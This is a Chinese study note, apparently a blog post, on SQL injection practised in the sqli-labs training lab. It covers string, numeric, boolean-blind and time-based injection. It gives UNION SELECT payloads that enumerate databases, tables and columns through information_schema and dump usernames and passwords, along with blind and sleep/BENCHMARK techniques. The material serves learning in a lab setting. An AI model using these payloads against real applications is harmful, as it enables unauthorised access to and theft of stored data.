铺垫知识:了解数据库基本操作,比如增删改查的基本语法,了解数据库基本结构。information_schema存储了所有表和列的名称,它是每个sql数据库都会有的一个表。
sql注入的知识点是很早就写过笔记的,所以这次就直接粘贴过来改改就发了吧。
实验环境:sqli-lab在GitHub上下载。如果觉得读文章比较枯燥在bilibil上有大佬们录制的关于sqli-lab的视频课程,值得一看。phpstudy集成环境,因为需要mysql服务。同时还要配置数据库的用户名和密码
sql注入可以分为
1.字符型注入
2.数字输入
3.布尔盲注
4.延迟注入
发现sql注入漏洞以后的基本操作方式:查库查表查列 查数据
先看sqli-lab第一关来大概了解以上几个步骤
Less-1
函数:group_concat 连接查询内容到同一行显示
查看所有数据库名
select schema_name from information_schema.schemata limit 0,1
显示所有数据库
select group_concat(schema_name) from information_schema.schemata
查询库中所有表(联合查询,这里只给出了后半段 前半段是一个空查询 比如select * from xxx where id=-1,-1是一个不存在的id)
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security' --+
查字段:select 1,2, group_concat(column_name) from information_schema.columns where table_name='users'--+
concat_ws(‘用于连接的字符’,需连接的查询内容,需连接的查询内容)
示例:group_concat(concat_ws('-',username,password)) from security.users --+
1.字符和数字型注入漏洞
判断字符型或者数字型注入
数字型:
select id=1 and 1=1 输出正常
select id=1 and 1=2 报错或者无显示内容 则为数字型
字符型
select id=1‘ and ‘1’=’1 --+ 输出正常
select id=‘1’ and ‘1’=‘2 --+ 报错或者无显示则为字符型
2.布尔盲注
所谓布尔盲注就是,当你的输入正确和错误的时候只会有两种页面,一般情况下遇到的sql注入漏洞都不会有直接的错误语句提示信息,比如提示你在你的sql语句里面的某一处出现了错误。
Less-5
布尔盲注:
补充:函数及其使用语法
select left(database(),n) n表示截取从database()返回的字符串的前n个
select user() regexp ‘n个需要查询的字符’ 当n个字符可以与查询得到的字符串的前n个完全匹配时返回1 或者返回0
select user() like ‘n个字符%’ 与regexp相似 唯一区别为匹配的字符串后面加一个%
select substr(a,b,c)从b位置开始截取a字符串的c个长度
ascii 字符串或字符转变为ascii
嵌套使用
3.延迟性注入
延迟注入就是通过某些特定时间函数来确定sql语句是否执行,延迟注入可以让服务回应时间减慢,可以通过网络查看器或者主管感受来确定通过sql语句是否导致了服务器回应的延迟
典型的sleep函数,比如select sleep(5),这个语句将会使得服务器回应延迟达到5s
还有其他的延迟注入函数如:
BENCHMARK()函数
语法为:
BENCHMARK(count,expr)
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
更多推荐
sql注入知识点总结
发布评论